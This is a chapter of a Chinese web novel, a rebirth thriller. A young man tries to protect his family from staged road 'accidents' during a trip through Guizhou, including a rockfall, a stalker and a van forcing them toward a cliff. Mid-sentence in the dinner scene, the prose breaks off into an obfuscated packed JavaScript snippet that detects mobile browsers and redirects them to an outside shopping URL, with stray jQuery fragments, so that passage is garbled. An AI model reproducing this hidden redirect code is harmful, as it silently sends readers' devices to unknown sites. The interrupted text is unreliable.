十一点左右，他们经过一个小镇。路边有几家餐馆和修车店，父亲决定停车休息一下。 “上个厕所，加点油。”父亲把车停在一家中石化加油站。 贺宴下车活动腿脚。加油站不大，只有两个加油机。一个穿着脏兮兮工作服的年轻员工正在给一辆皮卡车加油，见到他们，懒洋洋地点点头。 父亲去付油钱，母亲和小雨去了洗手间。贺宴站在车旁，环顾四周。 小镇很安静，只有几只鸡在路边刨食。对面有个小卖部，门口坐着个老头在晒太阳。一切看起来平常得不能再平常。 但贺宴的神经却绷得更紧了。 因为太平常了。 在原时间线里，他们在S107上的那个死亡之日，也是一个平常的日子。平常的天气，平常的路况，平常的车辆。然后，在某个平常的弯道，平常被打破了。 “小兄弟，车不错啊。” 一个声音从身后传来。贺宴转身，看见加油站那个年轻员工走了过来，手里拿着块抹布，假装要擦车窗，眼睛却在车里扫视。 “还行。”贺宴挡住他的视线。 “这是去哪玩啊？” “云南。” “哦，远着呢。”员工笑了笑，露出一口黄牙，“这条路不好走，前面有段在修路，要小心。” 修路？ 贺宴心里一紧：“哪一段？” “就前面二十公里左右，好像是塌方清理，单边放行。”员工说着，凑近了些，压低声音，“不过你们可以绕道，有条老路，虽然窄点，但能绕过修路那段。” “老路怎么走？” “从前面岔路口右转，沿着河走，大概十公里后回到主路。”员工指了指方向，“比等放行快，就是路况差一点。” 这时父亲付完钱回来了。员工立刻换上笑脸：“老板，加满了，发票在车里。” 父亲点点头，没多说什么。 重新上车后，贺宴把修路的事告诉了父亲。 “导航没提示啊。”父亲看了看手机屏幕，“不过山区信号不好，可能没更新。如果真修路，等单边放行可能要一两个小时。” “那个员工说有条老路可以绕。” 父亲沉吟：“老路……不知道路况怎么样。” “他说能走，就是窄点。” “要不还是等等吧，”母亲说，“老路不安全。” “可是等一两个小时，到镇远就太晚了。”小雨插嘴，“我想早点到，听说镇远夜景很漂亮。” 父亲犹豫了。贺宴看得出，他既不想冒险走不熟悉的老路，也不想耽误时间。 “爸，”贺宴开口，“我觉得可以试试老路。我们开慢点，不行就退回来。” 父亲看了他一眼，有些意外——这还是贺宴第一次主动建议走“可能有风险”的路。 “你确定？” “总比干等强。” 父亲想了想，点头：“好，那就试试。但说好，如果路况太差，我们就掉头。” 车继续前行。十五分钟后，果然看到前方有施工标志，还有“单边放行，请耐心等待”的牌子。几辆车已经排起了队。 父亲没有停车，按照加油站员工指的方向，右转上了那条老路。 路确实窄，仅容一辆车通过。路面是坑坑洼洼的碎石土路，左侧是陡峭的山壁，右侧是湍急的河流，连护栏都没有。车开上去，颠簸得厉害。 “这路……”母亲抓紧了扶手，“能行吗？” “慢点开，应该可以。”父亲全神贯注地握着方向盘，车速降到二十码以下。 贺宴看着窗外。河流在十几米深的谷底奔腾，水声轰鸣。如果从这里掉下去…… 他不敢想。 车缓慢前行了大约三公里。前方出现一个急弯，弯道外侧有一小片相对平坦的空地，停着一辆深蓝色的皮卡车。 车是空的。 父亲按了按喇叭，没人回应。 “可能是当地人的车。”母亲说，“我们慢慢绕过去。” 皮卡车停得有点歪，占了一半路面。父亲小心翼翼地从它左侧挤过去，轮胎距离悬崖边缘不到一米。 就在这时—— 轰隆！ 一声巨响从上方传来。 贺宴猛地抬头，透过天窗，看到山壁上有碎石滚落。不是很多，但足够吓人。 “塌方！”父亲惊呼，猛踩油门想冲过去。 但已经晚了。 一块拳头大小的石头砸在前挡风玻璃上，发出沉闷的撞击声。玻璃瞬间裂成蛛网状，但没有破碎——这是夹胶玻璃的优点。 “低头！”父亲大喊。 更多的碎石落下，砸在车顶，发出噼里啪啦的响声。车剧烈颠簸，右侧轮胎几乎悬空。 贺宴本能地扑向小雨，把她按在座位上。母亲在副驾驶尖叫。 时间仿佛慢了下来。 贺宴能清楚听到自己心脏狂跳的声音，听到碎石砸在金属上的闷响，听到父亲急促的呼吸，听到小雨压抑的哭声。 然后，一切突然停止了。 落石停止了。 车也停了下来——父亲把车刹住了，停在皮卡车前方十几米处。 车里一片死寂。 几秒钟后，父亲颤抖着声音问：“都没事吧？” “没、没事……”母亲的声音也在发抖。 贺宴松开小雨，检查她的情况。女孩脸色惨白，但看起来没有受伤。 “我没事，哥。”小雨小声说。 贺宴这才看向前挡风玻璃。裂纹从被砸中的点向四周辐射，像一张破碎的蛛网。但玻璃没有破，视线虽然受阻，但还能看清前方。 “倒车，慢慢倒回去。”贺宴对父亲说，“离开这里。” 父亲点点头，挂倒挡。车缓缓向后移动，经过那辆皮卡车时，贺宴透过车窗往里看—— 驾驶座上没有人。 但副驾驶座上，放着一件深蓝色的工装外套，袖子上有个模糊的logo。 贺宴的瞳孔骤然收缩。 那个logo……他见过。 在车祸现场的记忆碎片里，在那辆蓝色卡车的车门上。 长河运输公司的标志。 --- 二、第一道伤口 车退回到相对安全的路段，父亲停下，熄火。车里四个人，谁都没有说话。只有急促的呼吸声，和远处河流的轰鸣。 贺宴第一个打破沉默：“爸，掉头，回主路。” 父亲的手还在抖，但他点了点头，艰难地在狭窄的路面上完成了一个三点掉头。车头重新对准来时的方向。 “刚才……那是塌方吗？”母亲的声音带着哭腔。 “应该是小范围落石。”父亲深吸一口气，试图让自己平静下来，“山区常见，我们运气不好碰上了。” 运气不好？ 贺宴盯着后视镜里那辆越来越远的蓝色皮卡，心脏像被一只冰冷的手攥紧。 巧合太多了。 加油站员工“好心”指了一条老路；老路上“刚好”有辆皮卡车挡路；经过时“刚好”发生落石；而那辆皮卡上，有长河运输公司的工装。 这些巧合连在一起，还能叫巧合吗？ 车回到主路，施工路段已经放行。父亲默默排队，通过施工区域时，贺宴看到确实有工人在清理边坡，但规模不大，不像是需要单边放行两小时的大工程。 那个员工在说谎。 或者说，有人在通过他说谎。 到达镇远时已经是下午三点。父亲找了一家临河的客栈，办理入住时，他的手还在微微颤抖。 “要两间房。”父亲对前台说。 “爸，我想自己住一间。”贺宴突然说。 父亲回头看他，眼神复杂。他大概以为贺宴被吓到了，想一个人静静。 “好，那就三间。” 房间在二楼，临江。贺宴关上门，第一件事就是反锁。然后他冲到窗边，拉开窗帘一条缝，观察下面的街道。 客栈门口就是古镇的石板路，游客不多，几个本地老太太在路边卖手工艺品。看起来一切正常。 但贺宴知道，不正常。 他从背包里拿出笔记本，快速写下： “6月28日，S308老路遇险： 1.加油站员工诱导走老路 2.老路遇蓝色皮卡（长河运输logo） 3.经过时突发落石（时机精准） 4.施工规模与等待时间不符（员工说谎）” 写到这里，他停下笔。 现在有两种可能： 第一，这一切真的是巧合。山区落石本来就常见，长河运输作为本地货运公司，有员工开皮卡走老路也正常。加油站员工只是信息有误。 第二，这不是巧合。有人知道他们的行程，安排了这一切。目的是什么？制造一起“意外”事故？但落石的规模和时机，似乎不足以造成致命车祸——除非他们运气极差，被大石头直接砸中。 但如果目的不是当场致死呢？ 贺宴想起前挡风玻璃的裂纹。如果玻璃质量差一点，可能就破了。碎石可能飞进车内，造成伤害。或者，如果父亲在惊慌中操作失误，车辆可能坠河。 一场“未遂”的事故？ 还是说，这只是一次警告？ 他拿出手机，搜索“长河运输公司皮卡”。结果很少，只有几条招聘信息里提到“公司配发工作车辆包括皮卡”。 他又搜“镇远落石事故”。跳出几条新闻，都是多年前的，最近的一条是2016年。 没有今天的事件报道。 当然，小范围落石可能根本不会上报。 贺宴放下手机，走到窗前。沱江在楼下静静流淌，几只游船慢慢划过。对岸是青瓦白墙的侗族吊脚楼，夕阳给它们镀上一层金色。 如此宁静的景象，却让他感到刺骨的寒冷。 如果他的猜测是对的——如果真有人想对他们不利——那么对方已经出手了。而他们甚至不知道对手是谁。 敲门声响起。 “小宴，是我。”父亲的声音。 贺宴打开门。父亲站在门外，手里拿着一个塑料袋，里面是药水和纱布。 “你的手。”父亲指了指贺宴的右手。 贺宴低头，这才发现手背上有一道伤口，大概是被飞溅的玻璃碎片划伤的，不深，但流了点血。他刚才太紧张，根本没注意到疼。 “进来吧。” 父亲走进房间，让贺宴坐在椅子上，自己蹲下来，小心翼翼地用消毒棉签清理伤口。 “疼就说。” “不疼。” 棉签碰到伤口时，贺宴确实没感觉到多少疼痛。和心里的恐惧相比，这点皮肉伤微不足道。 父亲沉默地处理着伤口。他的动作很轻，很专注，就像小时候贺宴摔跤磕破膝盖时那样。 “爸，”贺宴突然问，“长河运输公司，你听说过吗？” 父亲的手顿了顿：“怎么问这个？” “今天那辆皮卡上，有他们的标志。” “哦。”父亲继续包扎，“长河是本地一家货运公司，跟我们公司有过合作——运过几次建材。” “合作愉快吗？” “还行吧，怎么了？” 贺宴犹豫了一下，决定透露部分信息：“我觉得今天的事不是意外。” 父亲抬起头，看着他：“什么意思？” “那个加油站员工，他故意让我们走老路。那辆皮卡停的位置也很可疑。还有落石的时机……”贺宴停住了，因为父亲的表情变得很奇怪。 不是惊讶，不是怀疑，而是一种……复杂的，混合着担忧和疲惫的表情。 “小宴，”父亲把纱布贴好，坐到了另一张椅子上，“我知道今天的事吓到你了。我也吓到了。但你不能因为一次惊吓，就怀疑所有事都是阴谋。” “我不是——” “听我说完。”父亲打断他，“山区落石确实常见，老路路况差也是事实。加油站员工可能只是想赚点绕路费——我后来想起来了，这种地方，指路收费是常有的事。至于那辆皮卡，长河运输的车到处跑，看到也不奇怪。” “可是——” “没有可是。”父亲的声音很坚决，但也很疲惫，“小宴，我知道你最近压力大，想得多。但我们要理性看待事情。不能自己吓自己。” 贺宴看着父亲。这个四十八岁的男人，刚刚经历了一场惊险，手还在抖，却努力装出镇定，来安抚“想太多”的儿子。 在这一刻，贺宴突然明白了：父亲不会相信他。至少现在不会。 在父亲的世界观里，商业竞争有商业竞争的规则，杀人放火是另一个次元的事。要让一个正常的、理性的成年人相信有人要谋杀自己全家，需要确凿的证据。 而贺宴没有证据。只有怀疑，只有巧合，只有来自“未来”的记忆——而这恰恰是最无法被采信的“证据”。 “我明白了。”贺宴最终说，“可能是我想多了。” 父亲松了口气，拍拍他的肩：“好好休息，晚上一起吃饭，逛逛古镇。放松点，出来玩就是为了放松。” 父亲离开后，贺宴锁上门，靠在门后。 父亲不相信他。 这意味着，他只能孤军奋战。 他走到书桌前，重新翻开笔记本。在今天的记录下面，他画了一个箭头，写下： “假设成立：存在针对我家的恶意行动者（下称X） “X特征： “1.能获取我们的行程信息（加油站员工诱导） “2.可能与长河运输有关联（皮卡/工装） “3.行动方式：制造‘意外’（落石） “4.目的：疑似致死或致伤（未遂）” 写完这些，他在“目的”后面打了一个问号。 如果X真的要杀人，为什么不安排更致命的手段？今天的落石规模，致死概率其实不高。除非X的目的不是当场杀人，而是…… 贺宴脑子里闪过一个词：警告。 或者是：试探。 试探他们的反应？试探贺宴是否会起疑？还是试探他们的行车习惯、应急反应？ 如果是试探，那就意味着，真正的杀招还在后面。 而他们，正在一步步走向那个杀招。 --- 三、夜色中的跟踪者 晚上七点，全家人在客栈餐厅吃晚饭。 气氛有些压抑。母亲和小雨显然还没从白天的惊吓中恢复，吃饭时很少说话。父亲努力活跃气氛，讲了些公司里的趣事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098587|195451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但效果不佳。 “等下我们去逛逛夜景吧。”父亲提议，“镇远的夜景很有名，沱江两岸的灯笼都亮了，很漂亮。” 小雨点点头，但兴致不高。 贺宴一直在观察餐厅里的人。客栈不大，餐厅里只有四张桌子。除了他们，还有两桌客人：一桌是三个年轻背包客，另一桌是一对中年夫妇。 看起来都很正常。 但贺宴不敢放松。如果X真的在跟踪他们，那么在任何地方都可能有人监视。 饭后，他们走出客栈。天色已暗，沱江两岸的灯笼果然亮了，暖黄色的光倒映在水面上，随波荡漾。古街上游客多了些，但不算拥挤。 一家人沿着江边慢慢走。父亲牵着母亲的手，小雨走在中间，贺宴跟在最后。 他一直在注意身后。 走过一座风雨桥时，贺宴假装拍照，举起手机，通过屏幕观察后方。 人流中，有一个身影引起了他的注意。 一个穿着灰色夹克的男人，大约三十多岁，中等身材，戴着一顶深色棒球帽。他走得不快不慢，始终和他们保持二十米左右的距离。当贺宴停下来拍照时，他也停下来，假装看手机。 一次可能是巧合。 但贺宴测试了三次：一次突然停下系鞋带，一次转身往回走几步，一次拐进路边的小店。 那个男人每次都有相应的动作：停下来，转身，或者也进小店但什么都不买。 被跟踪了。 贺宴的心脏狂跳起来。但他强迫自己保持冷静，没有立刻告诉家人——父亲不会相信，只会认为他又在疑神疑鬼。 他需要证据。 走到一段相对安静的路段时，贺宴突然说：“爸，我想去买瓶水，你们先往前走，我马上追上来。” “前面就有小店。”父亲指着前方。 “我去后面那家，刚才看到有卖本地酸奶的，想尝尝。” “好吧，快点。” 贺宴转身往回走。经过那个灰夹克男人时，他用余光瞥了一眼——男人正背对着他，假装看江景，但身体的姿势很僵硬。 贺宴没有停下，继续走到后面一家小店，真的买了一瓶水和一盒酸奶。付钱时，他通过店里的镜子观察外面。 灰夹克男人还站在那里，面朝江水，但头微微侧着，显然在注意贺宴的动向。 贺宴走出小店，没有立刻去追家人，而是拐进了旁边一条小巷。 巷子很窄，两边是古老的砖墙，只有几盏昏暗的路灯。贺宴加快脚步，走到巷子中段时，闪身躲进一个门洞里。 几秒钟后，脚步声传来。 很轻，但确实有人跟进了巷子。 贺宴屏住呼吸，从门洞的阴影里向外看。 灰夹克男人走进巷子，脚步放得很慢，左右张望。他在找贺宴。 就在男人经过门洞的瞬间，贺宴猛地冲出去，从后面一把抓住男人的胳膊，同时另一只手去掀他的帽子。 “你是谁？为什么跟踪我们？” 男人显然没料到这一手，惊慌中用力挣扎。但他力气不小，一下子挣脱了贺宴的手，转身就跑。 贺宴想追，但男人跑得很快，转眼就消失在小巷的另一头。 没有追上。 但贺宴得到了一个重要的信息：在挣扎的瞬间，他看到了男人的脸——普通的长相，但左边眉骨上有一道明显的疤痕，像刀疤。 还有，男人挣脱时，夹克袖子被捋起一截，露出手腕上的手表。 那是一块黑色的运动手表，表盘很大，表带很宽。 贺宴记得这种表。在原时间线里，车祸后，警察和救护人员赶到现场时，他迷迷糊糊中看到一个男人站在警戒线外，戴着同样的手表。 当时他以为是救援人员，但现在想来，那个人站的位置太远了，不像是在工作。 难道…… 贺宴站在原地，心跳如鼓。 如果今天跟踪他的男人，就是车祸现场出现过的男人，那么这意味着：X不仅知道他们会出车祸，甚至可能亲自到现场确认。 这不是普通的商业竞争。 这是谋杀。 冷意从脚底窜上脊椎。贺宴靠在墙上，深呼吸，再深呼吸。 不能慌。现在慌就完了。 他走出小巷，回到主街。家人已经走远了，他快步追上去。 “怎么这么久？”母亲问。 “排队的人多。”贺宴递上酸奶，“尝尝，本地特产。” 小雨接过，插上吸管喝了一口：“嗯，好喝。” 父亲看了贺宴一眼，眼神里有询问，但没说什么。 接下来的游览，贺宴一直心不在焉。他在思考，在计划。 现在确认了：第一，确实有人跟踪他们。第二，跟踪者可能与车祸有关。第三，对方已经开始行动（今天的落石事件）。 而他们，对此几乎毫无防备。 除非…… 一个计划在贺宴脑海里逐渐成形。 回到客栈已经九点多。小雨累了，先回房睡觉。父母在客厅坐了一会儿，也回房了。 贺宴等他们都关上门，才拿出手机，打开地图。 S308省道，从镇远往西，会经过几个城镇，然后进入云南。按照父亲目前的行程计划，明天他们会到凯里，后天到贵阳，大后天进入云南。 如果X要在路上制造“意外”，最可能的地段是：第一，山区路段；第二，车流量小的时段；第三，他们必经之路。 贺宴把地图放大，仔细研究明天要走的路线。从镇远到凯里，大约一百五十公里，大部分是山路，有几个著名的险峻路段。 其中一个叫“老虎口”的地方，引起了他的注意。 那是一个U形急弯，外侧是悬崖，没有护栏。地图上的街景照片显示，那段路确实很险。 如果要在那里制造事故…… 贺宴打了个寒颤。 他必须做点什么。 但做什么？警告父亲？父亲不会信。报警？没有证据，警察不会立案。自己暗中保护？他只有一个人，能力有限。 除非……他能在X行动之前，先发制人。 怎么先发制人？ 贺宴盯着地图，突然有了一个主意。 如果X的目的是制造“意外”，那么“意外”需要几个要素：特定的地点，特定的时间，特定的方式。 如果他能在X计划的地点，提前制造一点“小意外”，让那个地点变得不适合制造“大意外”，会不会打乱X的计划？ 比如，在“老虎口”弯道，如果提前有一辆“故障车”停在路边，或者有“施工警示”，那么父亲经过时会格外小心，X就很难下手。 但这需要精确的时机，需要他提前行动，需要他独自离开家人——这本身就有风险。 而且，如果X发现他在反制，可能会采取更激烈的手段。 风险很大。 但贺宴没有选择。 他拿出笔记本，开始计算时间。明天从镇远到凯里，按照父亲的驾驶习惯，大概需要三个半小时，包括中途休息。如果早上八点出发，中午十一点半左右会经过“老虎口”。 他需要提前两小时到那里布局。 这意味着，他必须凌晨五点就出发，租车或找其他交通工具，提前赶到“老虎口”。 怎么跟家人解释？说他早起看日出？或者干脆不告而别？ 不告而别的风险太大，家人会担心，可能会报警，反而更麻烦。 就说早起拍照吧。父亲知道他有这个爱好。 贺宴定好凌晨四点半的闹钟，然后开始搜索从镇远到“老虎口”的交通方式。有班车，但时间不对。租车？镇上可能有租车行，但这么早可能没开门。 最可能的方式是：打车。 他查了镇远的出租车公司，记下几个电话。打算明天一早打电话叫车。 计划雏形有了，但还有很多细节需要完善：到了“老虎口”后具体怎么做？制造什么样的“小意外”？如何确保不被X的人发现？如何确保自己的安全？ 贺宴一条条思考，在笔记本上写写画画。 深夜十一点，客栈彻底安静下来。只有窗外沱江的水声，隐隐约约。 贺宴走到窗边，看着外面的夜色。 古镇的灯笼大部分已经熄灭，只剩下几盏路灯，在江面上投下细碎的光。 黑暗，但并不平静。 他知道，在这个夜晚，可能还有别人也在计划着什么。在某个他不知道的地方，X正在部署下一步。 而他，一个二十一岁的大学生，一个从地狱归来的幸存者，要在这场不对称的战争中，保护自己的家人。 这几乎是不可能完成的任务。 但他必须完成。 因为这一次，他不能再失去他们。 绝对不能。 贺宴关掉灯，躺到床上。他没有睡，只是闭着眼睛，在黑暗中梳理每一个细节。 凌晨四点，闹钟还没响，他就已经睁开了眼睛。 窗外还是漆黑一片。 新的一天，开始了。 倒计时第二天。 也是他与X的第一次正面交锋。 5. 老虎口 一、凌晨四点五十分 2018年6月29日，凌晨四点五十分。 镇远还在沉睡。 贺宴赤脚踩在客栈房间的木地板上，没有发出任何声音。背包已经收拾好——只带了必需品：手机、充电宝、笔记本、一瓶水，还有从父亲工具箱里“借”来的手电筒和折叠钳。 他站在门后，屏住呼吸，听了整整三分钟。 走廊寂静。隔壁小雨均匀的呼吸声隐约可闻，父母房间没有动静。 他轻轻转动门把手，拉开门，侧身滑出去，再把门无声合上。 下楼时，他避开了正门——客栈老板住在楼梯口那间房，凌晨被脚步声吵醒会问东问西。他早就踩好点：餐厅旁边有扇侧门，没锁，直通后巷。 凌晨的古镇被浓雾包裹，能见度不足二十米。青石板路面湿滑，昨晚似乎下了场小雨。贺宴压低帽檐，快步穿过小巷，朝主街方向走。 镇远出租车公司的电话他昨晚就存好了。此刻站在空无一人的街角，他按下拨号键。 响了三声，接通。 “你好，我现在需要一辆车，去老虎口。” “老虎口？”司机是本地口音，带着刚被吵醒的沙哑，“那边可不好走，你一个人？” “一个人。多少钱？” “来回？”司机沉吟片刻，“单程一百二，等时另算。” “不用等。把我送到那里就行。” “行吧，你在哪儿？” 贺宴报了客栈附近的标志性建筑，挂断电话。 等待的十五分钟里，他一直站在路灯照不到的阴影里，观察周围。 浓雾中偶尔有早起的清洁工推着垃圾车经过，扫帚划过石板的沙沙声很轻。远处传来几声狗吠，很快又安静了。 一辆银灰色的出租车从雾中驶来，停在街对面。 贺宴快步上车。 “你胆子不小啊，”司机是个四十多岁的男人，从后视镜打量他，“老虎口那地方，本地人都不敢大清早去。去年有辆车在那儿翻下去，司机当场就没了。” 贺宴没有接话。 司机见他不吭声，也识趣地闭嘴。车驶出镇远城区，往西开。雾气在车灯前翻滚，像无数白色的飞蛾扑向死亡的光。 五十分钟后，车停了下来。 “前面就是老虎口了，”司机指了指，“我只能送你到这儿，再往前没地方调头。” 贺宴付了钱，下车。 雾依然很浓。他站在路边，辨认方向。左手边是陡峭的山壁，右手边是深不见底的河谷。护栏是后来加装的，但只有弯道内侧有，外侧依然是裸露的悬崖。 他往前走，脚下的路面有修补过的痕迹——去年的车祸，就是在这个位置。 贺宴蹲下来，用手机手电筒照了照路面。沥青很新，车辙印还清晰。他试着模拟事故场景：车辆从那个方向来，进入弯道，速度过快，或者被对向车逼到边缘，然后…… 他站起来，看向对面的山壁。 如果有人想在这里制造“意外”，最直接的方式是什么？ 第一，破坏车辆制动。但需要提前接触到车，他们没有停车过夜，父亲一直把车钥匙带在身上。 第二，制造路障或陷阱。比如在弯道撒油、放钉子，或者更极端的——像昨天那样，人为制造落石。 落石。 贺宴抬头，看向左侧的山壁。 老虎口的山壁很陡，几乎垂直，表面是风化的石灰岩。这种岩石，用工具撬动，很容易引发小规模崩塌。 他沿着山壁边缘走，用手电一寸寸照射岩缝。 大约走了三十米，他停住了。 这里有一处明显被撬动过的痕迹——几块岩石的缝隙里有新鲜的划痕，金属工具留下的。岩缝里还卡着一小截断裂的撬棍尖端，在光照下反射暗淡的金属光泽。 有人来过。 而且，很可能是最近。 贺宴的后背渗出冷汗。他把那截金属碎片小心地收进口袋，继续观察周围。 山壁下方有散落的碎石，不多，显然撬动者没有真的引发崩塌——或者说，还没来得及。 他在等什么？ 也许在等最佳时机。等天气，等目标车辆的到来，等某个特定的时间点。 贺宴看了看手机：6:17。 按照原计划，父亲会在八点左右出发，十一点半左右到达老虎口。 还有五个小时。 他必须在这五小时里，让老虎口“不适合”被用来制造事故。 怎么做到？ 一个念头在脑海里成形。 他拿出折叠钳，走向路边。 --- 二、七点四十分 贺宴回到镇远时，浓雾已经散了。 出租车把他放在客栈后巷，他快步上楼。走廊依然安静，他轻轻推开门—— 母亲站在他房间门口。 “小宴？” 贺宴的心脏几乎停跳。他的手还握在门把手上，背包里的手电筒和折叠钳还没放回去。 “你去哪儿了？”母亲的声音不是质问，是担忧，“我六点多起来想去你房间看看，发现门开着，人不在。” “出去拍照了。”贺宴尽量让声音平静，“镇远清晨的雾景很好，早起的游客少。” 母亲看着他，眼神复杂。过了几秒，她叹了口气：“下次跟妈说一声，吓死我了。” “嗯。” “饿了吧？下去吃早饭，你爸他们已经下去了。” 贺宴点点头，等母亲转身，才迅速进屋，把背包藏进衣柜，然后下楼。 餐厅里，父亲正在看手机，小雨在吃小笼包。见到贺宴，父亲抬头：“起这么早？” “拍了几张照片。”贺宴坐下，给自己倒了一杯豆浆。 “拍到好片子了？” “还可以。” 父亲没有追问。他看起来心事重重，手指在手机屏幕上快速滑动，眉头紧锁。 “爸，项目的事？”贺宴试探着问。 “嗯。”父亲把手机放下，揉了揉太阳穴，“环保局那边咬死了要重新做环评，李总说今天去局里沟通，看看有没有回旋余地。” “有希望吗？” “不好说。”父亲苦笑，“也许这次真该提前回去的。” 贺宴握紧筷子。 回去？不，不能回去。回去也解决不了问题——如果X的目标是他们全家，那么无论在哪里，都会找到机会下手。 而在这条通往云南的路上，至少他还能提前预判、提前防范。 但他不能阻止父亲回去。那只会引发更多的疑问和矛盾。 “再想想吧。”母亲说，“好不容易出来一趟，现在就回去太可惜了。而且小雨期待这次旅行很久了。” “我知道。”父亲叹息，“再看吧。” 早餐在沉闷中结束。 八点二十分，退房，重新上路。 贺宴上车时，特意检查了四个轮胎，确认没有异物，也没有漏气。这个动作很隐蔽，但父亲从后视镜看到了。 “你最近怎么总神经兮兮的？”父亲说，语气不是责怪，是困惑。 “习惯了。”贺宴系好安全带，“爸，今天走哪条路？” “S308，往凯里。” “那个……我昨晚查了一下，路上有几个弯道挺险的。”贺宴小心地铺垫，“比如老虎口，网上说去年出过事故。” 父亲从后视镜看了他一眼：“所以呢？” “所以开慢点，小心点。” “我一直开得很慢。”父亲顿了顿，“小宴，你是不是真的不想继续了？如果想回去，我们就回去。” 小雨立刻抬头：“我不想回去！” “没说不去。”贺宴安抚妹妹，然后对父亲说，“只是提醒一下，没有不想去。” 父亲沉默了几秒，最终说：“好，我会小心。” 车驶离镇远。 贺宴看着窗外迅速后退的景色，手心全是汗。 他做了该做的——提前到老虎口踩点，在弯道内侧的护栏上绑了一条鲜红色的布条，就在驾驶员最自然的视线高度。这是他模拟了十几遍后找到的最佳位置：既不突兀到让父亲怀疑，又能自然吸引注意力。 有了这个视觉锚点，父亲进入弯道时会更警觉，车速会更慢。 他还检查了那处被撬过的岩缝——没有新痕迹。也许X的人还没动手，也许他们选择的是另一个地点。 不管怎样，他只能做到这一步了。 剩下的，看命运。 --- 三、十一点零三分 车在S308省道上行驶了两个半小时。 天气很好，阳光把山路照得明亮。对向来车不多，偶尔有几辆货车慢吞吞地爬坡。父亲保持着匀速，五十码左右，不急不缓。 贺宴一直盯着窗外。 前方的山势开始变化，变得更陡，更险。他知道，老虎口快到了。 十点五十八分，导航语音提示：“前方两公里，进入连续弯道，请减速慢行。” 父亲松了油门，车速降到四十。 贺宴的身体微微前倾，视线越过前排座椅，死死盯着前方的路面。 十一点零一分。 第一个弯道平稳通过。 十一点零二分。 第二个弯道也通过了。 十一点零三分。 前方出现那个标志性的U形弯——山壁在此处向内凹陷，道路向外凸出，像猛兽张开的嘴。 老虎口。 贺宴绑的那条红色布条，在阳光下格外醒目。它在微风中轻轻飘动，像一面小小的警示旗。 父亲显然看到了。他的视线在那条红布上停留了半秒，然后很自然地，把车速降到了三十以下。 “这个弯够急的。”母亲说。 “嗯，小心点开。”父亲全神贯注。 车头进入弯道。贺宴能看到右侧的悬崖边缘，在车窗外缓慢向后移动。没有护栏，只有几根稀疏的水泥桩，间距很大。 小雨往左边缩了缩，下意识远离窗外那片虚空。 二十米。 十米。 五米。 弯道过半，车辆即将驶出最危险的路段—— 就在这时，对面突然冲出一辆车。 不是卡车，是一辆白色面包车。它从弯道另一侧高速驶来，几乎贴着中线，轮胎压着车道分割线。 父亲猛按喇叭，同时向右微调方向。 面包车没有让道，反而加速冲过来。 两车距离越来越近—— 父亲再往右打方向，后视镜几乎擦着崖壁。 面包车呼啸而过，带起一阵风。贺宴透过车窗，看到驾驶座上的男人——棒球帽，灰色夹克，左眉骨有道疤痕。 就是昨晚跟踪他的那个人。 “神经病啊！”父亲罕见地骂了句粗话，“山路开这么快，不想活了？” 母亲惊魂未定：“要不要报警？” “没撞上，报警也没用。”父亲深呼吸，把车停到前方一处相对宽敞的临时停车区，“先歇一下，缓缓。” 贺宴没有出声。 他的手攥成拳头，指甲深陷掌心。 不是巧合。 那个人——昨晚跟踪他们的人——今天出现在老虎口。他高速驶过弯道，贴着他们的车，逼迫父亲往右打方向。 如果父亲当时再往右一厘米，后视镜就会撞上崖壁，车辆可能失控。 如果父亲的应急反应不是“避让”而是“急刹”，他们会在弯道中央停车，极有可能被后车追尾。 如果那条红色布条没有吸引父亲的注意力、让他提前减速，他们进入弯道的速度会更快，面对突然冲出的面包车，操作空间会更小。 一个精准设计的“意外”。 贺宴看着窗外。 远处，那辆白色面包车已经消失在另一个弯道。 但它会回来的。 他有一种强烈的直觉。 --- 四、午间对峙 休息区是个简易的观景台，有几个石凳，一辆卖水和零食的流动小货车。 母亲带着小雨去买冰淇淋，父亲靠在车边抽烟——他平时很少抽烟，只在极度烦躁时才会点一支。 贺宴走过去。 “爸，给我一根。” 父亲看了他一眼，没问什么，递过烟盒。 贺宴不怎么会抽烟，吸一口就呛，但他需要这种灼烧感来保持清醒。 “刚才那辆车，”贺宴说，“是有意的。” 父亲吐出一口烟，没说话。 “我昨晚在镇远遇到过他。”贺宴继续说，“他跟踪我们。” 父亲转过头，眼神复杂：“你怎么知道是同一人？” “我看见他眉骨上的疤了。” 沉默。 烟灰被风吹散，飘向悬崖的方向。 “小宴，”父亲开口，声音很沉，“你想说什么？” 贺宴深吸一口气。 他想说：爸，有人要杀我们。昨天落石是人为的，今天这场逼车也是故意的。那个人现在还在跟踪我们。我们报警吧，我们回家吧，我们不要再往前走了。 但他说出口的是： “我觉得我们应该报警。” 父亲没有立刻反驳。他把烟头掐灭，扔进旁边的垃圾桶，沉默了很久。 “报警说什么？”他最终问，“说有人在山路开快车？还是说你被人跟踪但没有实质证据？” “至少留个记录。” “留记录然后呢？”父亲转过身，面对他，“警察会立案调查吗？会派人保护我们吗？不会。他们只会建议我们小心，然后让我们走。” 贺宴知道父亲说得对。 他没有证据。那条被撬动的岩缝，那截撬棍碎片——能证明什么？能证明有人计划引发落石，还是能证明这个计划针对的是他们家？ 都不能。 “小宴，”父亲的声音突然变得很轻，“你是不是知道什么我不知道的事？” 贺宴的心脏重重一跳。 “我不知道你怎么变得这么……警惕，”父亲斟酌着措辞，“好像预知会发生什么事。从出发前你就一直心神不宁，一直劝我改路线，一直盯着窗外看。” 他顿了顿：“你是不是做过什么梦？或者有什么感觉？” 这是一个台阶。 父亲在给他机会，让他说出一切——哪怕是“做梦”，哪怕是“直觉”，哪怕是任何超自然的解释。 贺宴张嘴。 他想说：爸，我做了一个很长很长的梦。梦里我们去了云南，走了另一条路，在另一个弯道遇到一辆卡车，然后你们都死了，只有我活着。我在精神病院待了四百三十七天，每一天都在想怎么救你们。 然后有人给了我一颗药，我醒来就在这里。 距离那个梦里的车祸，还有三天。 但他最终什么也没说。 